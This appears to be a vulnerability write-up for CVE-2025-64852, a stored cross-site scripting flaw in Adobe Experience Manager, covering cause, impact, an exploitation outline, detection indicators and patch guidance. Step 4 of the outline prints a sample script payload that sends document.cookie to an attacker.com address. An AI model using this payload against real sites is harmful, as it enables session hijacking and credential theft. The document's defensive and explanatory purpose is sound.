CVE-2025-64852: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64852 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service releases prior to 2025.12.0. The vulnerability was published on December 9, 2025, with a patch released the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the payload is persisted server-side and executes in the browser of any victim who subsequently visits the page containing the vulnerable field. Exploitation requires user interaction (a victim browsing to the affected page) and low privileges, but no special configuration. The vulnerability has a changed scope, meaning the injected script can affect resources beyond the originating application context (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, leading to potential theft of session tokens, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope means the impact can extend beyond the attacker's own session to affect other authenticated users, including administrators. Confidentiality and integrity are both assessed as low-impact per the CVSS scoring, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web application fingerprinting.
2. Obtain low-privileged access: Authenticate to the AEM instance with any low-privileged user account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS input (e.g., a text field in a content fragment, page property, or user-editable component).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (potentially an administrator) to browse to the page containing the injected payload; the malicious script executes in their browser context, enabling session hijacking, credential theft, or further actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html/) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• File System / Repository: Unexpected JavaScript payloads stored within AEM JCR repository nodes (e.g., in jcr:content properties of pages or components); review content nodes for suspicious string patterns using CRXDE Lite or repository queries.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or token exfiltration traffic originating from AEM page loads.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is configured.

Adobe has released patches addressing CVE-2025-64852 as part of security bulletin APSB25-115, published December 9, 2025. Users should upgrade AEM on-premises/LTS to version 6.5.24.0 or later, and AEM Cloud Service customers should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content for any pre-existing injected payloads and enforce Content Security Policy headers as a defense-in-depth measure (Adobe Advisory).

CVE-2025-64852 was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified. Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable, Adobe Advisory).